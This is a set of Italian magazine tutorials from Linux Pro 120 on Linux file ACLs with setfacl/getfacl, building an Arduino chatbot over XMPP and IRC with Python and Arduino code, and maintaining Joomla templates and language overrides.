Access Control ListQuello che vogliamo è un controllo più fi ne su chi può fare cosa e dove, così da migliorare il normale sistema tutto-o-nulla. La risposta sta nelle Access Control List (ACL), un’estensione per la maggior parte dei fi lesystem Linux che vi consente di ottenere il livello di controllo desiderato. Ci sono alcuni prerequisiti per poter usare le ACL. Il kernel deve inglobare il supporto alle ACL; ogni kernel fornito dalle distribuzioni dovrebbe avere questo supporto, ma se volete compilarlo per i fatti vostri dovete tenere a mente questo fatto, assicurandovi in questo caso che la voce CONFIG_EXT4_FS_POSIX_ACL sia impostata – oppure l’opzione corrispondente se state usando un fi lesystem differente. Il secondo requisito è che le ACL siano abilitate quando il fi lesystem viene montato, cosa che di solito, con i fi lesystem ext, non avviene di default. Alcuni fi lesystem, come XFS e Btrfs, hanno le ACL abilitate di default, quindi non ci sono modifi che da fare. Per abilitare le ACL durante il boot modifi cate il fi le /etc/fstab aggiungendo acl all’elenco delle opzioni di mount, separate da virgole, in questo modo: /dev/sda5 /home ext4 noatime,acl 0 0Il tutto diventerà attivo al prossimo riavvio. Per abilitare subito le ACL, rimontate il fi lesystem con l’opzione aggiuntiva, per esempio sudo mount /home -o remount,aclInfi ne, vi servono gli strumenti in userspace per la ACL, che sono installati assieme al pacchetto ACL. Sono due gli strumenti principali, setfacl e getfacl. Il primo imposta i permessi ACL per un fi le o una directory, mentre il secondo mostra questi permessi.

Semplici ACLIniziamo con un esempio: touch unfi le ls -l unfi leVedrete -rw-rw-r-- 1 ninjak ninjak 0 lug 27 14:00 unfi lecioè un fi le standard con i diritti usuali per un utente singolo. Ora provate a vedere cosa vi dice getfacl: getfacl unfi le # fi le: unfi le # owner: ninjak # group: ninjak user::rw- group::rw- other::r--Questo comando dice la stessa cosa di ls, anche se in modo più esteso. Ora provate a impostare qualche permesso extra, grazie a setfacl. setfacl --modify group:project:rw unfi le getfacl unfi le # fi le: unfi le # owner: ninjak # group: ninjak user::rw- group::rw- group:project:rw- mask::rw- other::r--L’opzione --modify (o -m) dice a setfacl di modifi care l’Access Control List per il fi le, e group:project:rw descrive il controllo da aggiungere. Ci sono tre elementi, separati da due punti: il primo indica il tipo di permesso da aggiungere – User, Group o Other, proprio come con i permessi normali. Il secondo elemento è il nome dell’utente o del gruppo – se lasciato vuoto viene usato di default l’utente o il gruppo a cui appartiene il fi le, ed è sempre vuoto per Other. La terza parte è il permesso da applicare. Quindi il nostro esempio aggiunge i permessi di lettura e scrittura per tutti i membri del gruppo project. Non dovete essere

INTERMEDIO Usate getfacl per vedere i risultati dei vostri cambiamenti, con un output molto più leggibile di quello di ls

Access Control ListIl possesso è nove decimi della legge, ma cosa fare se si vuole rendere un fi le scrivibile da più di un utente del sistema? Linux Pro vi spiega le meraviglie delle ACL

Page 64: LinuxPro-N120_Settembre2012

LINUX PRO 120 67

Permessi dei fi le Tutorial

root, o usare sudo, per fare questo. L’ACL per un fi le è impostata dal proprietario di quel fi le, quindi fi ntantoché lavorate in un’area nella quale avete i diritti di scrittura potete creare cartelle e fi le e usare setfacl su di essi. Finora non avete visto nulla che si possa fare anche con il normale sistema di permessi, ma potete impostare le ACL anche per le directory. Cosa più importante, potete impostare i permessi di default di una cartella. Assegnare project come gruppo d’appartenenza di un folder e rendendo il folder stesso scrivibile per il gruppo consentirà a tutti gli appartenenti al gruppo project di creare fi le all’interno della cartella, ma ogni fi le rimarrà d’appartenenza di chi lo ha creato (stessa cosa per i permessi di scrittura). Visto che non si vuole impostare i diritti fi le per fi le, si può procedere così: mkdir unadirectory setfacl -m group:project:rwx unadirectory setfacl -m default:group:project:rwx unadirectoryIl primo comando setfacl è come quello già visto, e da al gruppo project i permessi rwx per la nuova directory. Il secondo contiene un elemento extra nelle specifi che ACL: Default. Questo elemento imposta i permessi da applicare ai nuovi fi le e cartelle create. Questo elemento funziona usando sudo per cambiare utente temporaneamente. Ipotizzando che rob e pier siano utenti del gruppo project, provate: sudo -u rob touch unadirectory/fi le ls -l unadirectory/fi le getfacl unadirectory/fi le sudo -u pier nano unadirectory/fi leQuando rob crea un fi le, esso gli appartiene, come mostra il comando ls. Getfacl mostra che i membri del gruppo project possono scrivere quel fi le, infatti provando a usare Nano sul fi le come utente pier vedrete che questo utente sarà in grado di modifi carlo – premete Ctrl+X in Nano per salvare i cambiamenti fatti. Anche se avete modifi cato il fi le usando un altro utente, questo fi le ha mantenuto il proprietario originale – questo fi le appartiene ancora a rob, come ls -l unadirectory mostra chiaramente.

Usando gli esempiNotate che setfacl fallirà se specifi cate un utente o un gruppo non valido (non esistente), quindi se avete intenzione di fare esperimenti vi potrebbe tornare utile creare un gruppo d’esempio e qualche utente. Usate l’utility di gestione degli utenti della vostra distro oppure procedete da terminale con sudo groupadd project sudo useradd rob sudo useradd pier sudo gpasswd -a rob project sudo gpasswd -a pier projectPotete rimuoverli quando avete fi nito con sudo userdel rob sudo userdel pier sudo groupdel project

Altre opzioniFinora avete usate l’opzione -m per aggiungere una ACL a un fi le o a una directory. È anche possibile specifi care più di una ACL separandole con una virgola. Come con l’opzione --modify potete anche abbreviare le specifi che Default, User, Group e Other usando solo le loro iniziali: setfacl -m g:project:rwx,u:alice:rwx unadirectoryQuesto comando assegna pieno accesso a tutti i membri

del gruppo project, come prima, ma fa la stessa cosa anche per l’utente alice anche se essa non fa parte del gruppo project. Se avete un set standard di ACL che volete usare in più posti, ad esempio ogni volta che create un progetto, potete memorizzarle in un fi le, per esempio progetti.acl, così: group:project:rwx default:group:project:rwx user:alice:rwxPer impostare le ACL sui nuovi progetti non dovrete fare altro che digitare setfacl --modify-fi le progetti.acl altranuovadirectoryAlle opzioni --modify e --modify-fi le (o -M) corrispondono --remove e --remove-fi le (o -x e -X) per rimuovere le ACL da un fi le; ci sono anche --set e --set-fi le (non c’è la versione abbreviata) per impostare le ACL di un fi le, rimuovendo quelle esistenti. Potete anche usare l’output di getfacl come input per setfacl, il che vuol dire copiare le ACL da un fi le a un altro: getfacl vecchiofi le | setfacl --set-fi le=- nuovofi leIl simbolo - dopo set-fi le dice al comando di usare il fi le come standard input, cioè l’output di getfacl. Sulle ACL c’è molto di più da dire, ma per ora avete abbastanza informazioni da iniziare. Se avete bisogno di più informazioni le pagine man di getfacl e setfacl vi offrono spiegazioni su tutte le altre opzioni, oltre ad alcuni esempi. LXP

Eiciel può essere usato come editor per le ACL da chi non usa GNOME/Nautilus

Il supporto alle ACL di KDE c’è di default, basta guardare tra i permessi avanzati per creare, modifi care o rimuovere le ACL

Page 65: LinuxPro-N120_Settembre2012

68 LINUX PRO 120

Arduino La piattaforma hardware aperta per il physical computing

Se qualcuno non è connesso a Internet esiste per davvero? Quasi tutti i progetti con Arduino possono essere migliorati aggiungendo una connessione

persistente alla Rete, in modo da poter interagire con la scheda da qualsiasi parte del mondo. In questo tutorial esamineremo due modi per collegare il vostro Arduino e scambiare dati con esso attraverso uno smartphone, un PC portatile o qualsiasi altro dispositivo con accesso al Web.

Prima opzione: un collegamento fi ntoLa soluzione più semplice per rendere accessibile dalla Rete il vostro Arduino consiste in un fi nto collegamento. Quasi sempre la scheda si trova collegata a un’estremità di un cavo USB a succhiare energia da qualche computer, che molto probabilmente sarà dotato di un collegamento alla Rete. È piuttosto semplice usare l’interfaccia seriale per comunicare con l’Arduino da un’applicazione che gira sul PC e poi dall’applicazione stessa spedire le informazioni ricevute ovunque possano servire. Ci sono numerosissimi progetti che usano questa tecnica per permettere a un Arduino di aggiornare una pagina Web, cosa che certamente può risultare utile, ma non sembra molto interessante. Che ne dite invece di trasformare il vostro Arduino in un chatbot in grado di trasmettere informazioni per mezzo di un protocollo di messaggistica istantanea come Jabber (XMPP), usato tra gli altri da Google Talk? Tutto quello di cui abbiamo bisogno in questo caso è creare del software in grado di girare sul computer collegato alla scheda che si comporti come una sorta di relay, cioè di ripetitore di messaggi. Esistono molti modi per ottenere questo scopo, ma forse la cosa più semplice consiste nell’usare Python (se non lo avete mai usato prima non preoccupatevi, con un minimo di modifi che sarete in grado di far funzionare il programma che abbiamo inserito nel DVD). Dovrete inserire nel programma i dettagli del vostro account Jabber (potete crearne uno in pochi secondi, è molto più semplice che creare un nuovo account su Gmail) e avrete bisogno di conoscere i dettagli (cioè l’indirizzo) dell’account XMPP con cui vorrete connettervi all’account associato ad Arduino. Occorrerà poi che questi due account permettano le connessioni tra di loro: il modo più semplice per ottenere questo risultato consiste nell’usare un qualsiasi programma di messaggistica istantanea, ad esempio Pidgin, per aggiungere un account ai contatti dell’altro e viceversa. Fatto questo sarete in grado di collegarvi al vostro Arduino da posti come Google Talk o Facebook (usa anch’esso XMPP). import serial import xmpp

# Variabili da modifi care ser = serial.Serial(‘/dev/ttyUSB0’, 9600) jidname = “[email protected]” controller = “[email protected]” pwd = “”

def on_message(connection, message):

global ser print “Ricevuto messaggio” txt= message.getBody() if (txt != None): # print txt ser.write(message.getBody())

print “Connessione a Jabber.org...”“” jid = xmpp.protocol.JID(jidname) client = xmpp.Client(jid.getDomain(), debug=[]) client.connect() client.auth(jid.getNode(), pwd) client.sendInitPresence() presence = xmpp.Presence(status = ‘In esecuzione!’, show =‘chat’, priority = ‘1’) client.send(presence) client.send(xmpp.protocol.Message(controller, “Sono in attesa dei tuoi ordini”)) client.RegisterHandler(“message”, on_message)

while True: client.Process() if ser.inWaiting(): print “Ricevuto dalla seriale” # Legge dalla porta seriale txt = ser.readline() # print txt # Invia il testo ricevuto client.send(xmpp.protocol.Message(controller, txt))Il software è piuttosto semplice. Imposta la connessione seriale con Arduino e poi, usando il nome dell’utente che abbiamo inserito nella variabile jidname, con il server Jabber. Una volta connesso esegue l’autenticazione, inviando la password pwd, ed è in grado di spedire e ricevere messaggi. Prosegue poi restandosene in un ciclo, in attesa che succeda qualcosa. Se riceve un messaggio da Arduino sulla porta seriale lo manda a Jabber. Allo stesso modo,

DIFFICILE

Δ Il software Arduino versione 1.0 o superiore.Δ Un Arduino Duemilanove o Uno.Δ Per un’autentica connessione Ethernet uno shield Ethernet con chip Wiznet 5100 oppure ENC28J60.

Cosa vi serve

PRO

dentro ildentro il

Codice d’esempio

Dato che il codice del primo esempio sfrutta la seriale potete usare il Serial Monitor dell’IDE per provare lo sketch prima di andare online

Creiamo un chatbotPerché perdere tempo con le persone quando è possibile chiacchierare con il vostro sempre fedele Arduino? Linux Pro intavola la conversazione

Page 66: LinuxPro-N120_Settembre2012

LINUX PRO 120 69

Arduino Tutorial

se riceve un messaggio in chat proveniente da qualcuno (non c’è nessuna ragione per limitarsi a un singolo account) lo inoltra ad Arduino attraverso il collegamento seriale. La metodologia usata però è leggermente differente. Il modulo XMPP di Python usa delle callback per manipolare i messaggi (una callback è una funzione che viene chiamata automaticamente quando si verifi ca un particolare evento), cosa che ci rende la vita un po’ più semplice. Bisogna però ricordarsi di chiamare il metodo Process() dell’oggetto client, altrimenti i messaggi si accumulano senza essere elaborati. Il posto migliore per farlo è all’interno del ciclo in cui controlliamo anche la connessione seriale. Se viene ricevuto un messaggio, quando client.Process() viene eseguito, il nuovo messaggio viene scoperto e inviato alla callback che abbiamo registrato per questo evento (on_message). Quest’ultima estrae il testo dal pacchetto del messaggio e lo manda ad Arduino attraverso la porta seriale. Sarebbe possibile sviluppare ulteriormente questo programma, aggiungendo dei fi ltri, in modo da accettare solo i comandi compresi dall’Arduino, oppure sostituire i comandi con dei semplici codici di un byte che sarebbero più semplici da trattare su Arduino. Lasciamo a voi questo compito, se lo desiderate: tenete conto però che è anche utile mantenere il più semplice possibile il programma che fa da tramite tra la Rete e l’Arduino. Lato Arduino abbiamo bisogno di uno sketch che apra la connessione seriale e mandi un segnale per dire al programma Python che tutto funziona. Supponiamo, al solo scopo del nostro test, che ci sia un sensore di temperatura collegato all’ingresso analogico 1 e che vogliamo leggere il valore della temperatura dalla Rete. Per prima cosa defi niamo un po’ di variabili e confi guriamo la porta seriale: fl oat temperatura; char buffer[32];

void setup() { Serial.begin(9600); Serial.println(“Pronto!”); }Niente di speciale. Nel ciclo principale metteremo in piedi un meccanismo che spedisca dei dati a intervalli regolari, ma che resti anche in ascolto sulla porta seriale per ricevere i comandi che eventualmente arrivano. void loop() { unsigned long inizio = millis(); while ((millis() - inizio) < 10000) { if (Serial.available()) { leggiBuffer(); analizzaBuffer(); } } inviaTemperatura(); delay(200); }Finché non è stato eseguito per 10 secondi dall’inizio della funzione loop, il ciclo while tiene sotto controllo la porta seriale con la chiamata al metodo Serial.available(), che assume il valore true quando ci sono uno o più byte in attesa nel buffer (cioè se qualcuno sta spedendo dei dati). In questo caso chiama alcune misteriose funzioni per leggere questi dati e analizzarli alla ricerca di comandi. Se invece viene raggiunta la fi ne del ciclo while (cioè sono passati 10 secondi), viene chiamata un’altra misteriosa funzione prima che la funzione loop termini e ricominci immediatamente da capo. Non ci resta che riempire le funzioni misteriose. La più complicata è quella che legge il buffer, ma anche questa non è troppo

diffi cile. Leggiamo solo una riga nel nostro buffer interno, quindi dobbiamo prendere dalla seriale un carattere per volta, vedere se si tratta del carattere di fi ne riga e, se non lo è, copiarlo nell’array buffer che abbiamo creato nella prima parte del codice (32 byte dovrebbero essere suffi cienti!). Se invece leggiamo il carattere di fi ne riga oppure abbiamo riempito il buffer interrompiamo il ciclo di lettura dalla seriale e terminiamo la stringa. void leggiBuffer() { int posizione; int byte_letto; const int EOL = 13; // La riga termina con CR.

posizione = 0; do { byte_letto = Serial.read(); if (byte_letto == EOL) { break; } buffer[posizione] = byte_letto; posizione++; if (posizione > (sizeof(buffer)/sizeof(char))) { break; } delay(10); } while (Serial.available() > 0);

buffer[posizione] = 0; }Sembra complicata, ma non lo è. La variabile posizione contiene il numero di caratteri dei dati ricevuti fi nora. Viene incrementata ogni volta che viene ricevuto un byte valido. Quindi il ciclo do...while semplicemente legge i byte fi nché non trova il carattere di fi ne riga (codice ASCII 13). L’unica altra cosa da fare è terminare la lettura se il contatore della posizione all’interno del buffer supera le dimensioni del buffer stesso. Su Arduino la memoria non ha una protezione, quindi se continuate a scrivere oltre lo spazio che avete riservato con la dichiarazione di una variabile potete facilmente sovrascrivere qualcosa di importante. Una volta letto il comando dobbiamo elaborarlo. Dato che abbiamo aggiunto

Jabber non è affi dabile al 100%, a volte i messaggi si perdono. Assicuratevi quindi che la vostra applicazione non dipenda dalla corretta ricezione di tutti i messaggi spediti.

Tip

Concetti base sulle reti

Le reti sono complicate. L’invio di pacchetti di dati lungo un fi lo (la modalità di funzionamento tradizionale di una rete) si basa su parecchi strati di hardware e software, ognuno dei quali è dedicato a una diversa funzione. I due livelli inferiori, PHY (lo strato fi sico, cioè i fi li e i componenti elettronici che trasmettono segnali su di essi) e il MAC (Media Access Control, qualcosa di simile a un guardiano dello strato fi sico, che determina cosa entra e cosa esce), sono manipolati nel nostro caso dall’hardware. I chip che abbiamo citato sono inoltre dotati di fi rmware e librerie apposite che si prendono cura degli strati immediatamente successivi (il protocollo di rete e il tipo di pacchetti di dati ammessi su di esso), quindi non ci resta molto da implementare per far funzionare la nostra applicazione. Ci sono alcuni termini che però vanno spiegati:Δ Indirizzo MAC - È un numero unico

che identifi ca l’hardware fi sico, nel nostro caso l’interfaccia Ethernet. Di solito sullo shield è scritto il suo indirizzo, solo i più vecchi non ne sono dotati e occorre assegnargliene uno in modo che non entri in confl itto con qualche altra interfaccia presente sulla rete locale.Δ Indirizzo IP - È composto da quattro numeri decimali separati da un punto e identifi ca un nodo della rete. Esempio: 192.168.1.28.Δ DNS Domain name server, server per i nomi a dominio. È una specie di grossa rubrica: associa i nomi usati per i server (ad esempio linuxpro.it) al loro indirizzo IP su Internet.Le librerie distribuite con l’IDE o con gli shield Ethernet mettono a disposizione numerose funzionalità di rete, ma occorre tenere presente che Arduino è un microcontrollore con una limitata quantità di RAM.

œ

Page 67: LinuxPro-N120_Settembre2012

70 LINUX PRO 120

Tutorial Arduino

un byte 0 alla fi ne del buffer, il suo contenuto si presenta come una normale stringa C. In questo modo possiamo usare la funzione standard strcmp per verifi care se i dati ricevuti sono un comando valido: void analizzaBuffer() { Serial.print(“hai detto: ”); Serial.println(buffer); if (strcmp(buffer, “temp”) == 0) inviaTemperatura(); if (strcmp(buffer, “milli”) == 0) inviaMilli(); }Abbiamo implementato due comandi, uno per leggere la temperatura, l’altro per leggere il numero di millisecondi passati dall’accensione di Arduino. Potete naturalmente aggiungere comandi più complicati se lo desiderate; potreste persino analizzare i parametri dei comandi o usare dei comandi per controllare le uscite anziché leggere dei sensori. Date pure libero sfogo alla vostra immaginazione. La parte fi nale del puzzle è costituita dalla funzione che legge il sensore analogico e dalle funzioni che spediscono il valore della temperatura e dei millisecondi sulla seriale: void leggiTemperatura() { temperatura = analogRead(1) * 0.004882812 * 100; temperatura = temperatura -273; }

void inviaTemperatura() { leggiTemperatura(); Serial.print(“temperatura =”); Serial.println(temperatura); }

void inviaMilli() { unsigned long milli = millis(); Serial.print(“milli = ”); Serial.println(milli); }Niente di speciale nemmeno qui. Ricordatevi di usare print e println per spedire i dati sulla seriale, dato che usiamo il carattere di fi ne riga per indicare la fi ne dei messaggi. Una volta caricato il codice su Arduino potete usare il monitor seriale presente nell’IDE o un altro programma di emulazione

di terminale seriale per verifi care che tutto funzioni correttamente prima di far partire il programma Python e ritrasmettere i dati sul Web.

Seconda opzione: fare le cose davveroXMPP è un eccellente protocollo per i messaggi. Oltre che per le chat in sistemi come Google Talk, viene anche usato per spedire pacchetti tra server sparsi su Internet. Purtroppo per noi, però, è un po’ troppo complicato per creare da zero uno sketch per Arduino in grado di comunicare attraverso lo shield Ethernet usando XMPP. Molto probabilmente è possibile implementare un client XMPP anche in uno spazio di memoria limitato come quello disponibile sulle schede Arduino, ma alcuni aspetti del protocollo (come il fatto di usare XML per ogni cosa) implicano che l’hardware Arduino sarebbe impegnato per la maggior parte del tempo a far girare il sistema di messaggistica anziché a eseguire qualcosa di utile. Lo sforzo richiesto da XMPP è semplicemente troppo grande. Non riponete le vostre speranze, però: ci sono altre possibilità! Collegare il vostro Arduino a una rete non è diffi cile come potreste pensare: ci sono un certo numero di chip pensati apposta per rendere facile connettere un microcontrollore a una rete Ethernet, in grado di risolvere tutti i problemi legati all’hardware. La comunità Arduino tende a usare il chip Wiznet 5100, più che altro perché è quello che viene usato nelle varianti con Ethernet degli Arduino e nello shield uffi ciale. È anche ben supportato dal fi rmware, visto che l’IDE contiene una libreria che permette di usarlo. Un chip alternativo è l’ENC28J60 di Microchip. Sono disponibili parecchie schede breakout con questo chip prodotte da terze parti e sono di solito molto meno care (circa 7 euro contro 25) di quelle con il chip Wiznet. Potreste addirittura acquistare il chip e tutti i componenti necessari e costruirvi da soli il circuito (nell’immagine qui sopra riportiamo lo schema), ma è molto più semplice comprarne una già montata.

IRC: messaggistica per veri robotIRC è in circolazione più meno dalla nascita di Internet. È una maniera semplice ed effi cace per insultare online la gente, oppure per chiacchierare, a seconda delle vostre preferenze. È anche estremamente semplice da implementare, dato che si è sviluppato ai tempi in cui per la maggior parte delle persone una connessione seriale e un cursore verde lampeggiante era la norma. Non c’è nemmeno bisogno di ragionarci sopra troppo, è così semplice e se ne trovano moltissime implementazioni già pronte. Una delle migliori e più semplici è quella di Keiran “Affi x” Smith, che noi abbiamo usato come base per il nostro sketch. La prima cosa da fare è includere gli header delle librerie che ci servono per il chip Ethernet. Se usate un ENC28J60 dovrete sostituirli con quelli adatti al vostro chip: #include <SPI.h> #include <Ethernet.h>Un certo numero di variabili globali si prenderà poi cura delle impostazioni di cui abbiamo bisogno. L’indirizzo MAC è un numero che individua univocamente l’interfaccia Ethernet ed è di solito riportato sulla scheda che contiene il chip. L’indirizzo IP deve essere scelto in relazione alla confi gurazione della vostra rete locale. L’indirizzo del server è quello del server IRC presente in Italia. Ci sono poi alcune stringhe che contengono i comandi che dovremo inviare al server, il nickname che intendiamo usare su IRC e il canale su cui scambieremo i messaggi. Per gli esperimenti conviene creare un canale apposito, in modo da non disturbare le conversazioni in un canale già esistente (come #arduino).

Facendo girare il nostro relay in Python potete spedire messaggi al vostro Arduino da una qualsiasi applicazione per chat, come Pidgin o Google Talk

Page 68: LinuxPro-N120_Settembre2012

LINUX PRO 120 71

Arduino Tutorial

byte mac[] = { 0xA0, 0xA2, 0x1A, 0x2D, 0x1E, 0xB9 }; byte ip[] = { 192,168,1,28 }; IPAddress server(213,92,8,4); int port = 6667;

String chan = “#canalediprovaperilmiobot”; String nick = “lxpIRCbot”;

String join = “JOIN ”; String nickcmd = “NICK ”; String user = “USER ”; String userParams = “ x y z”; String pong = “PONG ”;Il client è una classe contenuta nella libreria Ethernet che semplifi ca le operazioni di connessione a un particolare server su una determinata porta e lo scambio dei dati. Ha dei metodi analoghi a quelli della classe Serial, quindi è possibile usare print() e println() per spedire informazioni. Anche la creazione della connessione è semplice: EthernetClient client;

void setup() { Ethernet.begin(mac, ip); Serial.begin(9600); delay(1000); Serial.print(“Connessione al server IRC...”);

if (client.connect(server, port)) { Serial.println(“connesso!”); client.println(nickcmd + nick); client.println(user + nick + userParams); } else { Serial.println(“connessione fallita!”); } }Le cose più importanti sono l’inizializzazione del dispositivo Ethernet (non c’è bisogno di specifi care il numero dei piedini usati, dato che la libreria si aspetta di trovarlo sempre allo stesso posto, sui piedini digitali 10, 11, 12 e 13) e poi la connessione al server sulla porta specifi cata nella variabile port. Il nostro codice usa la classe EthernetClient, una novità della versione 1.0 dell’IDE (prima si usava semplicemente la classe Client). Tenetelo presente se vi capita di adattare del vecchio codice. Il ciclo principale legge semplicemente i dati ricevuti fi no a quando trova i due caratteri che indicano la fi ne di un messaggio IRC e poi controlla se il messaggio è un comando PING del server, inviato per mantenere attiva la connessione,

o il comando che richiede il numero di millisecondi dall’accensione della scheda, e risponde di conseguenza: void loop() { if (client.available()) { client.println(join + chan); boolean ricevutoCR = false; String dati; while(true) { dati = “”; while (client.available()) { char c = client.read(); if (ricevutoCR && (c == LF)) { break; } if (c == CR) { ricevutoCR = true; } else { ricevutoCR = false; dati += c; } } if (dati.length() > 0) { Serial.println(dati); if (dati.startsWith(“PING”)) { client.println(pong + nick); } if(dati.endsWith(“milli”)) { client.println(makeIRCMessage(String(millis(), DEC))); } } } }

if (!client.connected()) { Serial.println(); Serial.println(“Disconnessione in corso!”); client.stop(); for(;;) ; } }Partendo da questa base potrete facilmente implementare qualcosa di più signifi cativo. Ad esempio la lettura della temperatura da un sensore, come nell’esempio di collegamento attraverso la seriale.

Andare oltreIn un futuro tutorial vedremo come implementare altre utili funzionalità di rete. Il mese prossimo invece ritorneremo a parlare di ingressi ed esamineremo diversi sistemi per realizzare una tastiera. LXP

Sicuramente potreste costruirvi uno shield Ethernet, ma dato il costo e la natura dei componenti (saldare chip SOIC è complicato) risparmierete tempo e soldi acquistandone uno già montato

IDE in italianoDa qualche settimana è uscita la versione 1.0.1 dell’IDE. Tra i vari miglioramenti apportati all’interfaccia utente spicca la sua internazionalizzazione. Tutte le stringhe e i messaggi sono stati

cioè tradotti in numerose lingue, tra cui l’italiano. Un bell’aiuto per quanti di noi non masticano troppo bene l’inglese e preferiscono usare GUI che parlino la loro lingua madre.

Page 69: LinuxPro-N120_Settembre2012

72 LINUX PRO 120

Joomla! Usare al meglio il CMS Joomla!

Ci vuole proprio poco per creare un sito con Joomla. Serve un po’ di più per confi gurarlo secondo i propri desideri.

Basta pochissimo per perdere il lavoro fatto: basta un aggiornamento. Nei tutorial dei numeri precedenti avete imparato come creare nuovi template a partire da quelli predefi niti, in modo che non risentano delle modifi che apportate durante gli aggiornamenti. Purtroppo questa soluzione non è la panacea contro tutti i mali.

Stabilità e aggiornamenti Il fatto è che i template predefi niti vengono modifi cati spesso in occasione di un aggiornamento di Joomla. Da un lato, ciò è positivo, perché permette di mantenere il template aderente agli standard del Web e di correggere le eventuali imperfezioni. Dall’altro si rischiano possibili malfunzionamenti dovuti al fatto che le nuove versioni dei fi le che compongono il template sostituiscono quelle che voi avete modifi cato;

il caso più frequente è che venga sovrascritto il fi le index.php del template, che, nel caso di Beez5, contiene il riferimento all’immagine di testata: dopo un aggiornamento vi ritrovate così con l’immagine di testata predefi nita anziché quella che avete indicato per il vostro sito. Se, invece, avete creato un vostro template a partire da uno di quelli predefi niti, non correte questo rischio, ma il template non viene mai aggiornato. Però è possibile trovare un compromesso. Ciò che vi consigliamo è di verifi care, ogni volta che viene rilasciato un aggiornamento, le differenze tra la vecchia e la nuova versione del template predefi nito. Se ve ne sono, apportate le novità al vostro template. Per non impazzire nell’attività di confronto è necessario usare uno strumento che segnali automaticamente le differenze. Il mondo Open Source offre Meld, che è disponibile nei repository di quasi tutte le distribuzioni e che comunque può essere scaricato da http://meldmerge.org/. Meld permette di confrontare non solo due fi le ma addirittura due directory; anzi, permette perfi no di effettuare il confronto fra tre elementi contemporaneamente. Impostando Meld perché confronti due (o tre) cartelle, nella fi nestra principale (Fig.1) vengono automaticamente evidenziati i fi le che riportano differenze, compresi quelli contenuti in sottocartelle, che vengono automaticamente espanse se necessario. Facendo doppio click su uno dei fi le che presentano differenze, viene aperta una nuova scheda con il confronto tra fi le e potete perciò sia esaminare i fi le sia apportare modifi che. Se non conoscete Meld, vi consigliamo di prenderci un po’ di confi denza prima di mettere effettivamente mano ai fi le del template e di delineare una strategia di intervento che faccia al caso vostro. Per esempio, potreste confrontare dapprima il template predefi nito della vecchia versione con quello della nuova e solo in seguito confrontare quest’ultimo con il vostro template personalizzato; ciò vi permette di avere un’idea delle modifi che apportate esclusivamente al template predefi nito, quelle cioè che dovrete riportare nel vostro. Oppure potreste effettuare un confronto a tre, velocizzando le operazioni e correndo qualche rischio in più. Ancora, potreste creare fi le intermedi, che riportino evidenziate le modifi che da apportare al template personalizzato e fare poi il confronto con questo. Ognuno deve trovare il proprio compromesso tra velocità, sicurezza e competenza. Meld è disponibile per Linux, ma (in qualche misura) può essere “costretto” a funzionare anche sotto OS X e Windows. Se tuttavia preferite usare strumenti davvero multipiattaforma, leggete il box Strumenti di confronto per tutti gli ambienti. Per terminare il discorso sulla modifi ca del template, vale la pena segnalare che il vecchio Gedit può trasformarsi in uno strumento molto elaborato, in grado di facilitare sensibilmente il lavoro di analisi e di modifi ca dei fi le

1 Nell’immagine in alto, il confronto di Meld tra due cartelle. In basso, potete invece vedere quello tra due fi le

Claudio RomeoTiene corsi sull’uso del software, soprattutto di quello libero. Ha scritto più di trenta libri di argomento informatico. Il suo sito personale è all’URL www.claudioromeo.it.

L’autore

È ora di lavorare meglioNei tutorial precedenti avete visto come modifi care i template predefi niti. Ora concluderemo il discorso sulla modifi ca dei template e vedremo come intervenire meglio sui contenuti

Page 70: LinuxPro-N120_Settembre2012

LINUX PRO 120 73

Joomla! Tutorial

di confi gurazione. Le funzioni di Gedit possono infatti essere espanse mediante plug-in. Installando il pacchetto gedit-plugins trasformate Gedit in un elaboratore fortemente orientato alla programmazione. Basta impartire il comando Modifi ca D Preferenze e passare alla scheda Plugin per attivare i plug-in desiderati. Tra questi, quello che permette di inserire velocemente i tag è molto comodo, così come quello che consente di visualizzare i numeri di riga. A proposito dei numeri di riga: questi possono anche essere stampati, se selezionate l’apposita casella nella fi nestra di stampa. Anche senza plug-in, Gedit è in grado di riconoscere le parole chiave selezionando l’ambiente appropriato (HTML, CSS, C eccetera) mediante il comando Visualizza D Modalità di evidenziazione, facilitando così l’interpretazione e l’analisi dei fi le.

Lingua: override e controllo ortografi coIntervenendo sui fi le di confi gurazione dei template, dei componenti o dei moduli, potete modifi care le stringhe di testo che appaiono nel sito. Per evitare di dover rifare il lavoro in caso di sovrascrittura dei fi le, è opportuno che salviate i fi le di confi gurazione modifi cati e li inseriate nel fi le zip personalizzato (se ne avete creato uno). Tuttavia, la versione 2.5 di Joomla ha portato una novità che permette di modifi care rapidamente le stringhe di testo, senza dover intervenire direttamente nei fi le. Gli override della lingua li abbiamo fugacemente presentati nel primo tutorial della serie: ora è il caso di conoscerli più da vicino. Per spiegarne il funzionamento, esaminiamo subito un caso concreto. I template Beez riportano nell’area della testata i comandi per regolare, direttamente dal lato sito, le dimensioni del testo (Fig.2). Per puristi della lingua come siamo noi, quel Resetta è un’offesa mortale, perciò non vediamo l’ora di modifi carlo. E, già che ci siamo, cambiamo tutto, in modo che le scritte diventino: Modifi ca le dimensioni del testo: Rendile più grandi Riportale al corpo originario Rendile più piccole. Sono interventi volutamente sopra le righe, ma servono bene a mostrare le potenzialità degli override della lingua. Nel pannello amministrativo, impartite il comando Estensioni D Gestione lingua, quindi passate alla scheda Override. Premete il pulsante Nuovo. Nella casella del riquadro Cerca il testo che desideri cambiare scrivete Dimensioni carattere e, assicurandovi che sia selezionato il pulsante d’opzione Valore, cliccate sul pulsante Cerca. Joomla riporta i risultati della ricerca tra le variabili di sistema i cui valori contengono il testo immesso. Selezionate il testo corrispondente

al template usato (può essere o TPL_BEEZ5_FONTSIZE o TPL_BEEZ2_FONTSIZE), che viene così copiato nella casella Costante Lingua. Nella casella Testo viene invece riportato il testo corrispondente al valore attuale della variabile: modifi catelo direttamente. La Fig.3 mostra le modifi che che noi abbiamo apportato per questo tutorial. Cliccate sul pulsante Salva e nuovo e operate analogamente per le altre tre stringhe. Al termine, date un’occhiata al sito: i comandi per la dimensione del testo dovrebbero essere quelli riportati nella Fig.4. Ora che abbiamo sperimentato la potenza e la facilità d’uso degli override della lingua, facciamo chiarezza su un paio di punti. Innanzitutto, è vero che in genere le ricerche vengono condotte sui valori delle variabili, ma non è poi infrequente condurle sui nomi di queste, soprattutto se conoscete a menadito il template o i componenti. Poi, una nota per i più smanettoni: la voce File della fi nestra Crea un nuovo override riporta il fi le (e il percorso) in cui risiede la modifi ca apportata: se volete, potete utilizzarlo in altri siti.

